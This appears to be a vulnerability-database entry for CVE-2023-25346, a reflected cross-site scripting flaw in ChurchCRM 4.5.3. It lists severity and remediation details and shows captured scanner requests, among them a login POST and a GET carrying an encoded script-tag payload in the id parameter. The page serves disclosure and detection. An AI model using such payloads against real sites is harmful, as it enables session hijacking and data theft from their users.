| Title | ChurchCRM 4.5.3 - Cross-Site Scripting |
|---|---|
| Author | Harsh |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Upgrade to a patched version of ChurchCRM or apply the necessary security patches to mitigate the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.09598 |
| CVE ID | CVE-2023-25346 |
| CWE ID | CWE-79 |
| Tags | cve2023 cve churchcrm xss authenticated vuln |
A reflected cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the id parameter of /churchcrm/v2/family/not-found.
POST /session/begin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15
Connection: close
Content-Length: 27
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
User=H3MLgZ&Password=hz9ROt
GET /v2/person/not-found?id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-25346.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-25346.pcap
N/AN/A